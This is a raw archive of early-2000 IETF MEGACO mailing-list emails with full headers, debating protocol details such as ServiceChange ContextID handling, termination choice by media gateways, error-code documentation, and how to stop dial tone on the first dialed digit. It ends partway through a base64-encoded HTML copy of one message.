    >      = > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
    >      = > Subject:      Importance of ContextID in = ServiceChange command
    >      = >
    >      = > HI all
    >      = >
    >      = > It should be mentioned somewhere in the text that there is = no
    >      = > siginificance of
    >      = > ContextID in case of ServiceChange Command. The = ServiceChange
    >      = command
    >      = > is for terminations and no validation is done on ContextID
    >      = should be done.
    >       << File: = Internet HTML >>
    >
    --
      Alcatel USA, = Inc           &nb= sp; Internet: Chuong.Nguyen@usa.alcatel.com
      1000 Coit Road Plano, Texas = 75075           = Phone:    (972) 519-4613
      **** The opinions expressed = are not those of Alcatel USA, Inc ****



------_=_NextPart_001_01BF6CC7.6C9470E4-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 10:24:52 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21632 for ; Tue, 1 Feb 2000 10:24:52 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2F274AC0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 10:22:04 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17497 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 10:20:36 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FAB849B0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 10:20:36 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 09:22:14 -0600 Received: from zcard00m.ca.nortel.com by zmers013; Tue, 1 Feb 2000 10:21:51 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id D0AW42SS; Tue, 1 Feb 2000 10:21:49 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXA2Z6Z; Tue, 1 Feb 2000 10:21:51 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <65256878.001611EF.00@sandesh.hss.hns.com> <3896B21C.6857E07@ericsson.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3896FA77.BAB5D514@americasm01.nt.com> Date: Tue, 1 Feb 2000 10:23:35 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: Choosing of ephemeral / physical Termination. X-To: Christian Groves To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit I agree with Christian on this. Different applications do things differently and have different requirements. What we need is a mechanism not enumerating solutions for every possible problem. Abdallah Rayhan Christian Groves wrote: > G'Day Sachin, > > I think that the Media gateway must be able to look into the > mediaDescriptor when CHOOSING a termination. The MG should be able to in > charge of the allocation of its internal resources. As the termination > represents (physically or logically) a resource and the mediaDescriptor > says what this resource is doing its natural that the MG looks at the > mediaDescriptor in the case it has to CHOOSE a terminationID. > > So we have 3 situations: > CHOOSE with a structured terminationID - no problem use the structure to > identify what you need and the appropriate information from the > mediaDescriptor. > CHOOSE with NO structure - no problem use the appropriate information > from the mediaDescriptor > CHOOSE with nothing - the issue: > To me you give complete autonomy to the MG to CHOOSE whatever > terminationID it likes with whatever method. ie. In a simple IPphone it > may choose any of the 3 termination it has. The MG's allocation scheme > could be in this case an ordered preference list of terminationIDs. In a > large trunking gateway with 10000s of terminationIDs the MG may decide > that's not enough information and return back an appropriate error. > Two different applications, 2 different types of behaviour. That's why > I'm not in favour of suggesting any 'rules' around this. > > Cheers, Christian > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 10:24:53 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21634 for ; Tue, 1 Feb 2000 10:24:52 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2F67AF20@standards.nortelnetworks.com>; Tue, 1 Feb 2000 10:22:04 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17502 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 10:20:36 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FADC2560@standards.nortelnetworks.com>; Tue, 1 Feb 2000 10:20:36 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 09:22:35 -0600 Received: from zrchb213.us.nortel.com by zmers013; Tue, 1 Feb 2000 10:22:12 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1BKLF8MY>; Tue, 1 Feb 2000 09:22:10 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6CC8.1A5324BE" Message-ID: Date: Tue, 1 Feb 2000 09:22:09 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: IANA considerations X-To: samittal@HSS.HNS.COM To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6CC8.1A5324BE Content-Type: text/plain No, and I think there should be. We can worry about the process by which it is formally published later, but in the meantime, can I get volunteers to draft the necessary documentation? > -----Original Message----- > From: Sachin Mittal [SMTP:samittal@HSS.HNS.COM] > Sent: Tuesday, February 01, 2000 1:27 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: IANA considerations > > In section 13 the following are specified: > "A complete description of the conditions under which the error is > detected > shall be > included in a publicly available document. The description shall be > sufficiently > clear > to differentiate the error from all other existing error codes." > "A complete description of the conditions under which the reason is used > is > detected > shall be included in a publicly available document. The description shall > be > sufficiently clear to differentiate the reason from all other existing > reasons." > > Is there a document which contain such description for the existing > error codes and service change reasons ?? ------_=_NextPart_001_01BF6CC8.1A5324BE Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: IANA considerations

No, and I think = there should be.  We can worry about the process by which it is = formally published later, but in the meantime, can I get volunteers to = draft the necessary documentation?

    -----Original Message-----
    From:   Sachin Mittal = [SMTP:samittal@HSS.HNS.COM]
    Sent:   Tuesday, February 01, 2000 1:27 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = IANA considerations

    In section 13 the following are = specified:
    "A complete description of the = conditions under which the error is detected
    shall be
    included in a publicly available = document. The description shall be sufficiently
    clear
    to differentiate the error from all = other existing error codes."
    "A complete description of the = conditions under which the reason is used is
    detected
    shall be included in a publicly = available document. The description shall be
    sufficiently clear to differentiate = the reason from all other existing reasons."

    Is there a document which contain such = description for the existing
    error codes and service change = reasons ??

------_=_NextPart_001_01BF6CC8.1A5324BE-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 11:42:28 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24639 for ; Tue, 1 Feb 2000 11:42:27 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F797F5E0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 11:39:15 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17630 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 11:37:46 -0500 Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B37A1050@standards.nortelnetworks.com>; Tue, 1 Feb 2000 11:37:21 -0500 Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id WAA25221 for ; Tue, 1 Feb 2000 22:37:45 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256878.005AE9F7 ; Tue, 1 Feb 2000 22:03:01 +0530 X-Lotus-FromDomain: HSS Mime-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=zowXImtNLJPWnVea9o9wrd1FMnNmoHWCjz0eIFscKWHLqWxM3pbwixRb" Content-Disposition: inline Message-ID: <65256878.005AE84E.00@sandesh.hss.hns.com> Date: Tue, 1 Feb 2000 22:06:26 +0530 Reply-To: bmbabu@HSS.HNS.COM Sender: "Media Gateway Control (megaco)" From: Madhu Babu Subject: Re: FW: Re: Stopping of Dial Tone To: MEGACO@STANDARDS.NORTELNETWORKS.COM --0__=zowXImtNLJPWnVea9o9wrd1FMnNmoHWCjz0eIFscKWHLqWxM3pbwixRb Content-type: text/plain; charset=us-ascii Content-Disposition: inline I think that Murat has correctly expressed my concern. As far as I understand, the event digit map is said to have occurred when there is a match found not when any digit is received. If that is the case then every digit would have to be treated as an event occurred. Please note that the MG does not have the awareness of whether it is acting as a residential gateway or a trunking gateway or whatever. The processing that a dial tone is to be stopped when the first digit is detected is specific to the residential gateway. A similar behaviour may not be expected in other scenarios i.e. it may not always be required to stop an ongoing signal when the first digit is received. How does the MG distinguish between these two scenarios ? Kindly elaborate. Regards -Madhubabu Hughes Software Systems. Murat Bog on 02/01/2000 05:34:23 AM Please respond to Murat Bog To: MEGACO@STANDARDS.NORTELNETWORKS.COM cc: (bcc: Madhu B Babu/HSS) Subject: Re: FW: Re: Stopping of Dial Tone Unless I have missed some obvious points, I don't see this as a non-issue and I share the concern with Madhu Babu. Although we all know what the desired behavior is, neither the current definition of the ce event in the dd package nor that of the DigitMap descriptor in section 7.1.14 supports that behavior. The dd/ce event is detected by the MG when the digits/timers match the dial plan. We want the dial tone to stop immediately after the detection of the first digit. At that time, however, there is no match against the dial plan (unless the dial plan is something like "x") and a dd/ce event which should stop the dial tone does not exist yet. I don't know of any other place in the protocol specification where this issue is explicitly addressed. The ABNF changes regarding the event descriptor, introduced in v13 and retained in v14, show the eventDM as possible a parameter of a requestedEvent, but nothing is said about the handling of signals if eventDM is used; i.e. stop signals after the first digit. If this were the intent, I think it should be made explicit in the text. If not, I am not sure it would be a good idea to change the definition of dd/ce event to the same effect since it would create an exception to the general model. It also seems to me that there may be other ways of expressing the desired behaviour. One example that I remember have been discussed on the list before used the embedding capability as follows (assume event buffering is off): Events = 2223 { al/on, dd/etd { tl = *, Embed { Events = 2224 { dd/ce { DigitMap = DialPlan0 } } } } Signals { cg/dt } I am assuming that if embedding is used in a requestedEvent, the processing is such that a notify command is not sent when that event is detected but rather the event is applied against the embedded event descriptor (if there is one). Otherwise, two notify commands will be sent: one when the first digit is detected and the second when the following digits/timers match the digit map. This may or may not be the desired behavior but in any case this could be another area for the text to benefit from some clarification. Murat Bog. CopperCom Inc. -----Original Message----- From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM] Sent: Monday, January 31, 2000 6:52 AM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Subject: Re: FW: Re: Stopping of Dial Tone I'm happy to accept this as the common understanding. -----Original Message----- From: Selvam Rengasami [SMTP:srengasa@TELCORDIA.COM] Sent: Monday, January 31, 2000 8:17 AM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Subject: Re: FW: Re: Stopping of Dial Tone John, This was also my working assumption and I agree that I don't really see this as a problem either. -Selvam Rengasami Telcordia Technologies Tel: +1 732 758 5260 E-mail: srengasa@telcordia.com John Segers on 01/31/2000 06:33:41 AM Please respond to John Segers To: MEGACO@STANDARDS.NORTELNETWORKS.COM cc: (bcc: Selvam Rengasami/Telcordia) Subject: Re: FW: Re: Stopping of Dial Tone Tom, Is it really a problem? The way I always understood this, is that detection of an event stops an active signal. It doesn't matter how the event is detected or reported. So an event that leads to a partial match in a digit map (the first digit) would stop dialtone. Is my thinking flawed? John Tom-PT Taylor wrote: > > Resend -- first attempt got swallowed. > > > -----Original Message----- > > From: Taylor, Tom-PT [CAR:B904:EXCH] > > Sent: Wednesday, January 26, 2000 12:46 PM > > To: 'Megaco' > > Subject: Re: Stopping of Dial Tone > > > > The problem is real. The question is what event detection mechanism to > > use to stop dial tone. It doesn't matter whether we define a new start of > > dialling event or simply use the existing dd/* ("detect any DTMF digit"): > > there is a problem of potential interaction with the digit map. The most > > straightforward solution is that the MGC has to ask that the first digit > > be reported, and only after that it can send down a digit map for > > everything else. Alternatively we have to modify section 7.1.8 to make it > > clear that it is possible to request digit detection in parallel with > > digit mapping (i.e. dd/* in combination with dd/ce {...} means that > > individual digit events are detected, but the same digits are also > > processed by the digit map. > > > > Comments? > > > > > > From: Madhu Babu > > Subject: Stopping of Dial tone > > > > > > Hi all, > > > > According to the example in the Appendix A.1.2 when > > MGC request > > MG to apply dial tone and check for digit events it is > > specified > > as > > > > Events = 2223 { > > al/on, dd/ce {DigitMap=Dialplan0} > > } > > Signals {cg/dt}, > > > > According to the protocol an signal is stopped > > Whenever any > > event occurs. and here the event requested by MGC is > > digitmap > > completion,that means dial tone will be stopped when > > we get > > all the digits (as implied by the name digitmap > > completion). > > What I suggest is that a new event like > > "firstdigitcompletion" > > should also be specified, otherwise how can the first > > digit itself > > stops the dialtone. > > > > regards > > -Madhubabu > > > > Tom Taylor > > Advisor -- IPConnect Standards > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) > > Phone and FAX: +1 613 736 0961 > > -- John Segers email: jsegers@lucent.com Lucent Technologies Room HE 306 Dept. Forward Looking Work phone: +31 35 687 4724 P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 --0__=zowXImtNLJPWnVea9o9wrd1FMnNmoHWCjz0eIFscKWHLqWxM3pbwixRb Content-type: text/html; name="att1.htm" Content-Disposition: attachment; filename="att1.htm" Content-Description: Internet HTML Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgSFRUUC1FUVVJVj0iQ29udGVudC1UeXBlIiBDT05U RU5UPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSI+DQo8VElUTEU+UkU6IEZXOiBSZTog U3RvcHBpbmcgb2YgRGlhbCBUb25lPC9USVRMRT4NCg0KPE1FVEEgY29udGVudD0iTVNIVE1MIDUu MDAuMjYxNC4zNTAwIiBuYW1lPUdFTkVSQVRPUj48L0hFQUQ+DQo8Qk9EWT4NCjxESVY+PEZPTlQg Y29sb3I9IzAwMDBmZiBmYWNlPUFyaWFsIHNpemU9Mj48U1BBTiBjbGFzcz05ODA0MjM2MjEtMzEw MTIwMDA+VW5sZXNzDQpJIGhhdmUgbWlzc2VkIHNvbWUgb2J2aW91cyBwb2ludHMsIEkgZG9uJ3Qg c2VlIHRoaXMgYXMgYSBub24taXNzdWUgYW5kIEkgc2hhcmUNCnRoZSBjb25jZXJuIHdpdGggTWFk aHUgQmFidS4mbmJzcDsgQWx0aG91Z2ggd2UgYWxsIGtub3cgd2hhdCB0aGUmbmJzcDtkZXNpcmVk DQpiZWhhdmlvciBpcywgbmVpdGhlciB0aGUgY3VycmVudCBkZWZpbml0aW9uIG9mIHRoZSBjZSBl dmVudCBpbiB0aGUgZGQgcGFja2FnZQ0Kbm9yJm5ic3A7dGhhdCBvZiB0aGUgRGlnaXRNYXAgZGVz Y3JpcHRvciBpbiBzZWN0aW9uIDcuMS4xNCBzdXBwb3J0cyB0aGF0DQpiZWhhdmlvci4mbmJzcDsg VGhlIGRkL2NlIGV2ZW50IGlzJm5ic3A7ZGV0ZWN0ZWQgYnkgdGhlIE1HIHdoZW4gdGhlDQpkaWdp dHMvdGltZXJzIG1hdGNoIHRoZSBkaWFsIHBsYW4uJm5ic3A7IFdlIHdhbnQgdGhlIGRpYWwgdG9u ZSB0byBzdG9wDQppbW1lZGlhdGVseSBhZnRlciB0aGUgZGV0ZWN0aW9uIG9mIHRoZSBmaXJzdCBk aWdpdC4mbmJzcDsgQXQgdGhhdCB0aW1lLCBob3dldmVyLA0KdGhlcmUmbmJzcDtpcyBubyBtYXRj aCBhZ2FpbnN0IHRoZSBkaWFsIHBsYW4gKHVubGVzcyB0aGUgZGlhbCBwbGFuIGlzIHNvbWV0aGlu Zw0KbGlrZSAieCIpIGFuZCBhIGRkL2NlIGV2ZW50IHdoaWNoIHNob3VsZCBzdG9wIHRoZSBkaWFs IHRvbmUgZG9lcyBub3QgZXhpc3QNCnlldC48L1NQQU4+PC9GT05UPjwvRElWPg0KPERJVj4mbmJz cDs8L0RJVj4NCjxESVY+PEZPTlQgY29sb3I9IzAwMDBmZiBmYWNlPUFyaWFsIHNpemU9Mj48U1BB TiBjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+SQ0KZG9uJ3Qga25vdyBvZiBhbnkgb3RoZXIgcGxh Y2UgaW4gdGhlIHByb3RvY29sIHNwZWNpZmljYXRpb24gd2hlcmUgdGhpcyBpc3N1ZSBpcw0KZXhw bGljaXRseSBhZGRyZXNzZWQuPC9TUEFOPjwvRk9OVD48Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9 QXJpYWwgc2l6ZT0yPjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+Jm5ic3A7IFRoZSBB Qk5GIGNoYW5nZXMgcmVnYXJkaW5nIHRoZSBldmVudCBkZXNjcmlwdG9yLA0KaW50cm9kdWNlZCBp biB2MTMgYW5kIHJldGFpbmVkIGluIHYxNCwmbmJzcDtzaG93IHRoZSBldmVudERNIGFzIHBvc3Np YmxlIGENCnBhcmFtZXRlciBvZiBhIHJlcXVlc3RlZEV2ZW50LCBidXQgbm90aGluZyBpcyBzYWlk IGFib3V0IHRoZSBoYW5kbGluZyBvZiBzaWduYWxzDQppZiBldmVudERNIGlzIHVzZWQ7IGkuZS4g c3RvcCBzaWduYWxzIGFmdGVyIHRoZSBmaXJzdCBkaWdpdC4mbmJzcDsgSWYgdGhpcyB3ZXJlDQp0 aGUgaW50ZW50LCBJIHRoaW5rIGl0IHNob3VsZCBiZSBtYWRlIGV4cGxpY2l0IGluIHRoZSB0ZXh0 LjwvU1BBTj48L0ZPTlQ+PEZPTlQNCmNvbG9yPSMwMDAwZmYgZmFjZT1BcmlhbCBzaXplPTI+PFNQ QU4gY2xhc3M9OTgwNDIzNjIxLTMxMDEyMDAwPiZuYnNwOyBJZiBub3QsIEkNCmFtIG5vdCBzdXJl IGl0IHdvdWxkJm5ic3A7YmUgYSBnb29kIGlkZWEgdG8gY2hhbmdlIHRoZSBkZWZpbml0aW9uIG9m IGRkL2NlIGV2ZW50DQp0byB0aGUgc2FtZSBlZmZlY3Qgc2luY2UgaXQgd291bGQgY3JlYXRlIGFu IGV4Y2VwdGlvbiB0byB0aGUgZ2VuZXJhbA0KbW9kZWwuPC9TUEFOPjwvRk9OVD48L0RJVj4NCjxE SVY+PEZPTlQgY29sb3I9IzAwMDBmZiBmYWNlPUFyaWFsIHNpemU9Mj48U1BBTg0KY2xhc3M9OTgw NDIzNjIxLTMxMDEyMDAwPjwvU1BBTj48L0ZPTlQ+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05UIGNv bG9yPSMwMDAwZmYgZmFjZT1BcmlhbCBzaXplPTI+PFNQQU4gY2xhc3M9OTgwNDIzNjIxLTMxMDEy MDAwPkl0DQphbHNvIHNlZW1zIHRvIG1lIHRoYXQgdGhlcmUgbWF5IGJlIG90aGVyIHdheXMgb2Yg ZXhwcmVzc2luZyB0aGUgZGVzaXJlZA0KYmVoYXZpb3VyLiZuYnNwOyBPbmUgZXhhbXBsZSB0aGF0 IEkgcmVtZW1iZXIgaGF2ZSBiZWVuIGRpc2N1c3NlZCBvbiB0aGUgbGlzdA0KYmVmb3JlIHVzZWQg dGhlIGVtYmVkZGluZyBjYXBhYmlsaXR5IGFzIGZvbGxvd3MgKGFzc3VtZSBldmVudCBidWZmZXJp bmcgaXMNCm9mZik6PC9TUEFOPjwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1UYWhvbWE+ PEZPTlQgc2l6ZT0yPjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+Jm5ic3A7PC9TUEFO PjwvRk9OVD48L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIGZhY2U9VGFob21hPjxGT05UIGNvbG9y PSMwMDAwZmYgZmFjZT1BcmlhbCBzaXplPTI+PFNQQU4NCmNsYXNzPTk4MDQyMzYyMS0zMTAxMjAw MD5FdmVudHMgPSAyMjIzIHsmbmJzcDs8Rk9OVCBmYWNlPUFyaWFsDQpzaXplPTI+PC9GT05UPjwv U1BBTj48L0ZPTlQ+PC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBmYWNlPVRhaG9tYT48Rk9OVCBj b2xvcj0jMDAwMGZmIGZhY2U9QXJpYWwgc2l6ZT0yPjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEw MTIwMDA+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+Jm5ic3A7DQphbC9vbiw8L0ZPTlQ+PC9TUEFO PjwvRk9OVD48L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIGZhY2U9VGFob21hPjxGT05UIGNvbG9y PSMwMDAwZmYgZmFjZT1BcmlhbCBzaXplPTI+PFNQQU4NCmNsYXNzPTk4MDQyMzYyMS0zMTAxMjAw MD48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mbmJzcDsmbmJzcDtkZC9ldGQNCns8L0ZPTlQ+PC9T UEFOPjwvRk9OVD48L0ZPTlQ+PEZPTlQgZmFjZT1UYWhvbWE+PEZPTlQgY29sb3I9IzAwMDBmZiBm YWNlPUFyaWFsDQpzaXplPTI+PFNQQU4gY2xhc3M9OTgwNDIzNjIxLTMxMDEyMDAwPjxGT05UIGZh Y2U9QXJpYWwNCnNpemU9Mj48L0ZPTlQ+PC9TUEFOPjwvRk9OVD48L0ZPTlQ+PC9ESVY+DQo8RElW PjxGT05UIGZhY2U9VGFob21hPjxGT05UIGNvbG9yPSMwMDAwZmYgZmFjZT1BcmlhbCBzaXplPTI+ PFNQQU4NCmNsYXNzPTk4MDQyMzYyMS0zMTAxMjAwMD48Rk9OVCBmYWNlPUFyaWFsDQpzaXplPTI+ Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7dGwgPSAqLDwvRk9OVD48L1NQQU4+PC9GT05U PjwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1UYWhvbWE+PEZPTlQgY29sb3I9IzAwMDBm ZiBmYWNlPUFyaWFsIHNpemU9Mj48U1BBTg0KY2xhc3M9OTgwNDIzNjIxLTMxMDEyMDAwPiZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyBFbWJlZA0KezwvU1BBTj48L0ZPTlQ+PC9GT05UPjwvRElWPg0K PERJVj48Rk9OVCBmYWNlPVRhaG9tYT48Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9QXJpYWwgc2l6 ZT0yPjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7IEV2ZW50cyA9IDIyMjQNCns8L1NQQU4+PC9GT05UPjwvRk9OVD48L0RJ Vj4NCjxESVY+PEZPTlQgZmFjZT1UYWhvbWE+PEZPTlQgY29sb3I9IzAwMDBmZiBmYWNlPUFyaWFs IHNpemU9Mj48U1BBTg0KY2xhc3M9OTgwNDIzNjIxLTMxMDEyMDAwPiZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBkZC9jZQ0KezwvU1BBTj48L0ZPTlQ+PC9G T05UPjwvRElWPg0KPERJVj48Rk9OVCBmYWNlPVRhaG9tYT48Rk9OVCBjb2xvcj0jMDAwMGZmIGZh Y2U9QXJpYWwgc2l6ZT0yPjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 DQpEaWdpdE1hcCA9IERpYWxQbGFuMDwvU1BBTj48L0ZPTlQ+PC9GT05UPjwvRElWPg0KPERJVj48 Rk9OVCBmYWNlPVRhaG9tYT48Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9QXJpYWwgc2l6ZT0yPjxT UEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQp9PC9TUEFOPjwvRk9OVD48L0ZPTlQ+PC9ESVY+DQo8RElW PjxGT05UIGZhY2U9VGFob21hPjxGT05UIGNvbG9yPSMwMDAwZmYgZmFjZT1BcmlhbCBzaXplPTI+ PFNQQU4NCmNsYXNzPTk4MDQyMzYyMS0zMTAxMjAwMD4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsg fTxCUj48Rk9OVCBmYWNlPUFyaWFsDQpzaXplPTI+Jm5ic3A7Jm5ic3A7fTwvRk9OVD48L1NQQU4+ PC9GT05UPjwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1UYWhvbWE+PEZPTlQgY29sb3I9 IzAwMDBmZiBmYWNlPUFyaWFsIHNpemU9Mj48U1BBTg0KY2xhc3M9OTgwNDIzNjIxLTMxMDEyMDAw PjxGT05UIGZhY2U9QXJpYWwNCnNpemU9Mj59PC9GT05UPjwvU1BBTj48L0ZPTlQ+PC9GT05UPjwv RElWPg0KPERJVj48Rk9OVCBmYWNlPVRhaG9tYT48Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9QXJp YWwgc2l6ZT0yPjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+PEZPTlQgZmFjZT1Bcmlh bCBzaXplPTI+U2lnbmFscw0KezwvRk9OVD48L1NQQU4+PC9GT05UPjwvRk9OVD48Rk9OVCBmYWNl PVRhaG9tYT48Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9QXJpYWwNCnNpemU9Mj48U1BBTiBjbGFz cz05ODA0MjM2MjEtMzEwMTIwMDA+PC9TUEFOPjwvRk9OVD48L0ZPTlQ+PC9ESVY+DQo8RElWPjxG T05UIGZhY2U9VGFob21hPjxGT05UIGNvbG9yPSMwMDAwZmYgZmFjZT1BcmlhbCBzaXplPTI+PFNQ QU4NCmNsYXNzPTk4MDQyMzYyMS0zMTAxMjAwMD4mbmJzcDsgY2cvZHQ8L1NQQU4+PC9GT05UPjwv Rk9OVD48L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1UYWhvbWE+PEZPTlQgY29sb3I9IzAwMDBmZiBm YWNlPUFyaWFsIHNpemU9Mj48U1BBTg0KY2xhc3M9OTgwNDIzNjIxLTMxMDEyMDAwPjxGT05UIGZh Y2U9QXJpYWwNCnNpemU9Mj59Jm5ic3A7PC9GT05UPjwvU1BBTj48L0ZPTlQ+PC9GT05UPjwvRElW Pg0KPERJVj4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgY29sb3I9IzAwMDBmZiBmYWNlPUFyaWFs IHNpemU9Mj48U1BBTiBjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+SSBhbQ0KYXNzdW1pbmcgdGhh dCBpZiBlbWJlZGRpbmcgaXMgdXNlZCBpbiBhIHJlcXVlc3RlZEV2ZW50LCB0aGUgcHJvY2Vzc2lu ZyBpcyBzdWNoDQp0aGF0IGEgbm90aWZ5IGNvbW1hbmQgaXMgbm90IHNlbnQgd2hlbiB0aGF0IGV2 ZW50IGlzIGRldGVjdGVkIGJ1dCZuYnNwO3JhdGhlcg0KdGhlIGV2ZW50IGlzIGFwcGxpZWQgYWdh aW5zdCB0aGUgZW1iZWRkZWQgZXZlbnQgZGVzY3JpcHRvciAoaWYgdGhlcmUgaXMNCm9uZSkuJm5i c3A7IE90aGVyd2lzZSwmbmJzcDt0d28gbm90aWZ5IGNvbW1hbmRzIHdpbGwgYmUgc2VudDogb25l IHdoZW4gdGhlIGZpcnN0DQpkaWdpdCBpcyBkZXRlY3RlZCBhbmQgdGhlIHNlY29uZCB3aGVuIHRo ZSBmb2xsb3dpbmcgZGlnaXRzL3RpbWVycyBtYXRjaCB0aGUNCmRpZ2l0IG1hcC4mbmJzcDsgVGhp cyBtYXkgb3IgbWF5IG5vdCBiZSB0aGUgZGVzaXJlZCBiZWhhdmlvciBidXQgaW4gYW55IGNhc2UN CnRoaXMgY291bGQgYmUgYW5vdGhlciBhcmVhIGZvciB0aGUgdGV4dCZuYnNwO3RvIGJlbmVmaXQg ZnJvbSBzb21lDQpjbGFyaWZpY2F0aW9uLjwvU1BBTj48L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05U 